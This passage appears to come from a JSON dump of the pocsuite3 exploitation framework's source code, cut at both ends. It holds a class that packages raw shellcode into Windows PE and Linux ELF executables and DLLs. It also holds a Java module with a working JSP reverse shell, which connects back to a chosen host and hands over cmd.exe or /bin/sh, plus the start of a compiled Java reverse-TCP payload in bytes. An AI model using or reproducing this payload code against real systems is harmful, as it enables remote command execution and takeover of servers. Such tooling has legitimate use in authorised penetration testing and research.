shell = read_binary(path)\n        for key, value in values.items():\n            if use_precompiled:\n                value = to_hex(value)\n            shell = shell.replace(key.encode(), value)\n        if use_precompiled:\n            shell = bytes.fromhex(shell.replace(b'\\\\x', b'').decode())\n        return shell\n\n\nclass ShellcodeToExe:\n    def __init__(self, shellcode, target_os, target_arch, filename='', dll_inj_funcs=''):\n        self.shellcode = shellcode\n        self.target_os = target_os\n        self.target_arch = target_arch\n        self.dll_inj_funcs = dll_inj_funcs\n        self.filename = filename if filename else time.strftime('%Y%m%d%H%M%S', time.gmtime())\n        self.path = paths.POCSUITE_TMP_PATH\n\n    def mkdirs(self):\n        if not os.path.exists(self.path):\n            os.mkdir(self.path)\n\n    def create_win_x86_exe(self):\n        header = b'\\x4d\\x5a\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\x09\\xcd' \\\n                 b'\\x21\\xb8\\x01\\x4c\\xcd\\x21\\x54\\x68\\x69\\x73\\x20\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x20\\x63\\x61\\x6e\\x6e\\x6f' \\\n                 b'\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6e\\x20\\x69\\x6e\\x20\\x44\\x4f\\x53\\x20\\x6d\\x6f\\x64\\x65\\x2e\\x0d\\x0d\\x0a' \\\n                 b'\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4c\\x01\\x02\\x00\\xd3\\x7c\\xb5\\x58\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\xe0\\x00\\x0f\\x03\\x0b\\x01\\x02\\x1b\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 b'\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 b'\\x1a\\x89\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x14\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00\\x00' \\\n                 b'\\x63\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x20\\x00\\x50\\x60\\x2e\\x69\\x64\\x61\\x74\\x61\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x20\\x00\\x00' \\\n                 b'\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x30\\xc0' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        data += b'\\xFF' * 4 + b'\\x00' * 4 + b'\\xFF' * 4\n        data = data.ljust(1536, b'\\x00')\n        return data\n\n    def create_win_x86_64_exe(self):\n        header = b'\\x4d\\x5a\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\x09\\xcd' \\\n                 b'\\x21\\xb8\\x01\\x4c\\xcd\\x21\\x54\\x68\\x69\\x73\\x20\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x20\\x63\\x61\\x6e\\x6e\\x6f' \\\n                 b'\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6e\\x20\\x69\\x6e\\x20\\x44\\x4f\\x53\\x20\\x6d\\x6f\\x64\\x65\\x2e\\x0d\\x0d\\x0a' \\\n                 b'\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x64\\x86\\x02\\x00\\xe8\\x5d\\xb6\\x58\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\xf0\\x00\\x2f\\x02\\x0b\\x02\\x02\\x1b\\x00\\x04\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 b'\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 b'\\x9a\\x9e\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00\\x00\\x20\\x02\\x00\\x00\\x00\\x10\\x00\\x00' \\\n                 b'\\x00\\x04\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x50\\x60' \\\n                 b'\\x2e\\x69\\x64\\x61\\x74\\x61\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x06\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x30\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        data += b'\\x00' * 7 + b'\\xFF' * 8 + b'\\x00' * 8 + b'\\xFF' * 8\n        data = data.ljust(2048, b'\\x00')\n        return data\n\n    def create_linux_x86_exe(self):\n        header = b'\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00' \\\n                 b'\\x60\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x1c\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x28\\x00' \\\n                 b'\\x04\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\xff\\x10\\x00\\x00' \\\n                 b'\\xff\\x10\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        return data\n\n    def create_linux_x86_64_exe(self):\n        header = b'\\x7f\\x45\\x4c\\x46\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x3e\\x00\\x01\\x00\\x00\\x00' \\\n                 b'\\x80\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x01\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x40\\x00\\x38\\x00\\x01\\x00\\x40\\x00\\x04\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\xff\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        return data\n\n    def create_x86_dll(self):\n        if self.target_arch == OS_ARCH.X64:\n            logger.error('Can\\'t create dll for x64 arch. Only x86 arch is supported.')\n            return\n        header = b'\\x4d\\x5a\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\x09\\xcd' \\\n                 b'\\x21\\xb8\\x01\\x4c\\xcd\\x21\\x54\\x68\\x69\\x73\\x20\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x20\\x63\\x61\\x6e\\x6e\\x6f' \\\n                 b'\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6e\\x20\\x69\\x6e\\x20\\x44\\x4f\\x53\\x20\\x6d\\x6f\\x64\\x65\\x2e\\x0d\\x0d\\x0a' \\\n                 b'\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4c\\x01\\x03\\x00\\x9e\\xa7\\xb6\\x58\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\xe0\\x00\\x0e\\x23\\x0b\\x01\\x02\\x1b\\x00\\x02\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 b'\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x04\\x00\\x00' \\\n                 b'\\xe2\\x9e\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\xff\\x0e\\x00\\x00\\x00\\x30\\x00\\x00\\x14\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00\\x00' \\\n                 b'\\x54\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 b'\\x00\\x00\\x00\\x00\\x20\\x00\\x50\\x60\\x2e\\x65\\x64\\x61\\x74\\x61\\x00\\x00\\xff\\x0e\\x00\\x00\\x00\\x20\\x00\\x00' \\\n                 b'\\x00\\x04\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x30\\x40' \\\n                 b'\\x2e\\x69\\x64\\x61\\x74\\x61\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x30\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x0a'\n        header += b'\\x00' * 546\n        data = header + self.shellcode\n        data += b'\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff'\n        data = data.ljust(1536, b'\\x00')\n        data += b'\\x00' * 16\n        data += b'\\x01\\x00\\x00\\x00'\n        data += struct.pack('<I', len(self.dll_inj_funcs)) + struct.pack('<I', len(self.dll_inj_funcs))\n        data += b'\\x28\\x20\\x00\\x00'\n        data += struct.pack('B', 0x28 + len(self.dll_inj_funcs) * 4) + b'\\x20\\x00\\x00'\n        data += struct.pack('B', 0x28 + len(self.dll_inj_funcs) * 8) + b'\\x20\\x00\\x00'\n        data += b'\\x00\\x10\\x00\\x00' * len(self.dll_inj_funcs)\n        base = 0x2100 + len(self.filename) - 1\n        data += struct.pack('<H', base) + b'\\x00\\x00'\n        for func_name in self.dll_inj_funcs[:-1]:\n            base += len(func_name) + 1\n            data += struct.pack('<H', base) + b'\\x00\\x00'\n        for i in range(len(self.dll_inj_funcs)):\n            data += struct.pack('<H', i)\n        data += self.filename + '.dll\\x00'\n        for func_name in self.dll_inj_funcs:\n            data += func_name + b'\\x00'\n        data = data.ljust(3072, b'\\x00')\n        path = os.path.join(self.path, self.filename)\n        self.write_file(data, path + '.dll')\n        return path\n\n    def create_executable(self):\n        self.mkdirs()\n        ext = ''\n        path = os.path.join(self.path, self.filename)\n        if self.target_os == OS.LINUX:\n            if self.target_arch == OS_ARCH.X64:\n                exe_code = self.create_linux_x86_64_exe()\n            else:\n                exe_code = self.create_linux_x86_exe()\n        elif self.target_os == OS.WINDOWS:\n            ext = '.exe'\n            if self.target_arch == OS_ARCH.X64:\n                exe_code = self.create_win_x86_64_exe()\n            else:\n                exe_code = self.create_win_x86_exe()\n        else:\n            logger.error('OS %s is not supported' % self.target_os)\n            return\n        self.write_file(exe_code, path + ext)\n        return path\n\n    @staticmethod\n    def write_file(data, path):\n        with open(path, 'wb') as f:\n            f.write(data)\n        logger.info('File %s is created' % path)\n"
  },
  {
    "path": "pocsuite3/shellcodes/java.py",
    "content": "import os\nfrom .base import ShellCode\nfrom pocsuite3.lib.core.data import paths\nfrom pocsuite3.lib.helper.archieve.jar import Jar\nfrom pocsuite3.lib.core.enums import SHELLCODE_TYPE\n\n\nclass JavaShellCode(ShellCode):\n    \"\"\"\n        Class with shellcodes for java language\n    \"\"\"\n    def __init__(self, connect_back_ip='localhost', connect_back_port=5555,\n                 bad_chars=['\\x00'], shell_type=SHELLCODE_TYPE.JAR, make_jar=False):\n        ShellCode.__init__(self, connect_back_ip=connect_back_ip, connect_back_port=connect_back_port,\n                           bad_chars=bad_chars)\n        self.shell_type = shell_type\n        self.make_jar = make_jar\n        self.path_to_jar = \"\"\n\n    def get_jsp(self, inline=False):\n        \"\"\" Function to get java(jsp) shellcode \"\"\"\n\n        if not self.connect_back_ip or not self.connect_back_port:\n            print(\"Settings for connectback listener must be defined\")\n            return False\n\n        java_code = \"\"\"\n            <%@page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"%>\n            <%class StreamConnector extends Thread {\n                InputStream is;\n                OutputStream os;\n                StreamConnector( InputStream is, OutputStream os ) {\n                    this.is = is;\n                    this.os = os;\n                }\n                public void run() {\n                    BufferedReader in = null;\n                    BufferedWriter out = null;\n                    try {\n                        in = new BufferedReader( new InputStreamReader( this.is ) );\n                        out = new BufferedWriter( new OutputStreamWriter( this.os ) );\n                        char buffer[] = new char[8192];\n                        int length;\n                        while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) {\n                            out.write( buffer, 0, length ); out.flush();\n                        }\n                    } catch( Exception e ){\n                    }\n                    try {\n                        if( in != null ) in.close();\n                        if( out != null ) out.close();\n                    } catch( Exception e ){}\n                }\n            }\n            try {\n                String OS = System.getProperty(\"os.name\").toLowerCase();\n                Socket socket = new Socket( \"{{LOCALHOST}}\", {{LOCALPORT}} );\n                String command = \"cmd.exe\";\n                if (OS.indexOf(\"win\") < 0)\n                    command = \"/bin/sh\";\n                Process process = Runtime.getRuntime().exec(command);\n                (new StreamConnector(process.getInputStream(),socket.getOutputStream())).start();\n                (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();\n            } catch( Exception e ) {\n            }\n            %>\n        \"\"\"\n        java_code = self.format_shellcode(java_code)\n        if inline:\n            java_code = self.make_inline(java_code)\n        return java_code\n\n    def get_jar(self, filename=\"\"):\n        filepath = os.path.join(paths.POCSUITE_TMP_PATH, \"payload.jar\")\n        jar = Jar(filepath)\n        data = \"{host};{port}\".format(host=self.connect_back_ip, port=self.connect_back_port)\n        jar.add_file('east/data.dat', data)\n        java_reverse_tcp = (\n            b'\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x33\\x00\\xc4\\x0a\\x00\\x3c\\x00\\x5c\\x08'\n            b'\\x00\\x5d\\x0a\\x00\\x2b\\x00\\x5e\\x0a\\x00\\x5f\\x00\\x60\\x07\\x00\\x61\\x0a'\n            b'\\x00\\x05\\x00\\x62\\x07\\x00\\x63\\x07\\x00\\x64\\x0a\\x00\\x05\\x00\\x65\\x0a'\n            b'\\x00\\x08\\x00\\x66\\x0a\\x00\\x07\\x00\\x67\\x07\\x00\\x68\\x0a\\x00\\x05\\x00'\n            b'\\x69\\x0a\\x00\\x0c\\x00\\x6a\\x0a\\x00\\x07\\x00\\x6b\\x08\\x00\\x6c\\x0a\\x00'\n            b'\\x13\\x00\\x6d\\x0a\\x00\\x2b\\x00\\x6e\\x07\\x00\\x6f\\x08\\x00\\x70\\x08\\x00'\n            b'\\x71\\x0a\\x00\\x2b\\x00\\x72\\x08\\x00\\x73\\x0a\\x00\\x13\\x00\\x74\\x0a\\x00'\n            b'\\x0c\\x00\\x75\\x0a\\x00\\x05\\x00\\x76\\x07\\x00\\x77\\x0a\\x00\\x1b\\x00\\x5c'\n            b'\\x0a\\x00\\x78\\x00\\x79\\x0a\\x00\\x78\\x00\\x7a\\x0a\\x00\\x7b\\x00\\x7c\\x0a'\n            b'\\x00\\x7b\\x00\\x65\\x08\\x00\\x7d\\x07\\x00\\x7e\\x0a\\x00\\x22\\x00\\x5c\\x0a'\n            b'\\x00\\x22\\x00\\x7f\\x08\\x00\\x80\\x0a\\x00\\x22\\x00\\x81\\x0a\\x00\\x1b\\x00'\n            b'\\x82\\x07\\x00\\x83\\x0a\\x00\\x28\\x00\\x84\\x0a\\x00\\x1b\\x00\\x81\\x07\\x00'\n            b'\\x85\\x0a\\x00\\x86\\x00\\x87\\x0a\\x00\\x07\\x00\\x76\\x07\\x00\\x88\\x09\\x00'\n            b'\\x89\\x00\\x8a\\x0a\\x00\\x2e\\x00\\x81\\x0a\\x00\\x8b\\x00\\x75\\x08\\x00\\x8c'\n            b'\\x09\\x00\\x2b\\x00\\x8d\\x08\\x00\\x8e\\x0a\\x00\\x13\\x00\\x8f\\x08\\x00\\x90'\n            b'\\x08\\x00\\x91\\x08\\x00\\x92\\x08\\x00\\x93\\x0a\\x00\\x89\\x00\\x94\\x0a\\x00'\n            b'\\x13\\x00\\x95\\x07\\x00\\x96\\x01\\x00\\x02\\x4f\\x53\\x01\\x00\\x12\\x4c\\x6a'\n            b'\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b'\n            b'\\x01\\x00\\x06\\x3c\\x69\\x6e\\x69\\x74\\x3e\\x01\\x00\\x03\\x28\\x29\\x56\\x01'\n            b'\\x00\\x04\\x43\\x6f\\x64\\x65\\x01\\x00\\x0f\\x4c\\x69\\x6e\\x65\\x4e\\x75\\x6d'\n            b'\\x62\\x65\\x72\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x04\\x6d\\x61\\x69\\x6e\\x01'\n            b'\\x00\\x16\\x28\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53'\n            b'\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x56\\x01\\x00\\x0d\\x53\\x74\\x61\\x63\\x6b'\n            b'\\x4d\\x61\\x70\\x54\\x61\\x62\\x6c\\x65\\x07\\x00\\x97\\x07\\x00\\x6f\\x07\\x00'\n            b'\\x61\\x07\\x00\\x63\\x07\\x00\\x68\\x01\\x00\\x0a\\x45\\x78\\x63\\x65\\x70\\x74'\n            b'\\x69\\x6f\\x6e\\x73\\x01\\x00\\x0e\\x65\\x78\\x65\\x63\\x75\\x74\\x65\\x43\\x6f'\n            b'\\x6d\\x6d\\x61\\x6e\\x64\\x01\\x00\\x27\\x28\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f'\n            b'\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61'\n            b'\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x07'\n            b'\\x00\\x77\\x07\\x00\\x98\\x07\\x00\\x83\\x01\\x00\\x10\\x70\\x61\\x72\\x73\\x65'\n            b'\\x46\\x69\\x6c\\x65\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x01\\x00\\x27\\x28\\x4c'\n            b'\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67'\n            b'\\x3b\\x29\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74'\n            b'\\x72\\x69\\x6e\\x67\\x3b\\x07\\x00\\x99\\x07\\x00\\x7e\\x07\\x00\\x88\\x01\\x00'\n            b'\\x09\\x69\\x73\\x57\\x69\\x6e\\x64\\x6f\\x77\\x73\\x01\\x00\\x03\\x28\\x29\\x5a'\n            b'\\x01\\x00\\x06\\x69\\x73\\x55\\x6e\\x69\\x78\\x01\\x00\\x08\\x3c\\x63\\x6c\\x69'\n            b'\\x6e\\x69\\x74\\x3e\\x01\\x00\\x0a\\x53\\x6f\\x75\\x72\\x63\\x65\\x46\\x69\\x6c'\n            b'\\x65\\x01\\x00\\x0c\\x50\\x61\\x79\\x6c\\x6f\\x61\\x64\\x2e\\x6a\\x61\\x76\\x61'\n            b'\\x0c\\x00\\x3f\\x00\\x40\\x01\\x00\\x08\\x64\\x61\\x74\\x61\\x2e\\x64\\x61\\x74'\n            b'\\x0c\\x00\\x51\\x00\\x52\\x07\\x00\\x9a\\x0c\\x00\\x9b\\x00\\x9c\\x01\\x00\\x0f'\n            b'\\x6a\\x61\\x76\\x61\\x2f\\x6e\\x65\\x74\\x2f\\x53\\x6f\\x63\\x6b\\x65\\x74\\x0c'\n            b'\\x00\\x3f\\x00\\x9d\\x01\\x00\\x16\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x42'\n            b'\\x75\\x66\\x66\\x65\\x72\\x65\\x64\\x52\\x65\\x61\\x64\\x65\\x72\\x01\\x00\\x19'\n            b'\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72'\n            b'\\x65\\x61\\x6d\\x52\\x65\\x61\\x64\\x65\\x72\\x0c\\x00\\x9e\\x00\\x9f\\x0c\\x00'\n            b'\\x3f\\x00\\xa0\\x0c\\x00\\x3f\\x00\\xa1\\x01\\x00\\x13\\x6a\\x61\\x76\\x61\\x2f'\n            b'\\x69\\x6f\\x2f\\x50\\x72\\x69\\x6e\\x74\\x57\\x72\\x69\\x74\\x65\\x72\\x0c\\x00'\n            b'\\xa2\\x00\\xa3\\x0c\\x00\\x3f\\x00\\xa4\\x0c\\x00\\xa5\\x00\\xa6\\x01\\x00\\x04'\n            b'\\x65\\x78\\x69\\x74\\x0c\\x00\\xa7\\x00\\xa8\\x0c\\x00\\x56\\x00\\x57\\x01\\x00'\n            b'\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e'\n            b'\\x67\\x01\\x00\\x07\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x01\\x00\\x02\\x2f\\x43'\n            b'\\x0c\\x00\\x4c\\x00\\x4d\\x01\\x00\\x01\\x20\\x0c\\x00\\xa9\\x00\\x52\\x0c\\x00'\n            b'\\xaa\\x00\\xab\\x0c\\x00\\xac\\x00\\x40\\x01\\x00\\x16\\x6a\\x61\\x76\\x61\\x2f'\n            b'\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x42\\x75\\x66\\x66\\x65'\n            b'\\x72\\x07\\x00\\xad\\x0c\\x00\\xae\\x00\\xaf\\x0c\\x00\\xb0\\x00\\xb1\\x07\\x00'\n            b'\\x98\\x0c\\x00\\xb2\\x00\\xb3\\x01\\x00\\x00\\x01\\x00\\x17\\x6a\\x61\\x76\\x61'\n            b'\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x42\\x75\\x69\\x6c'\n            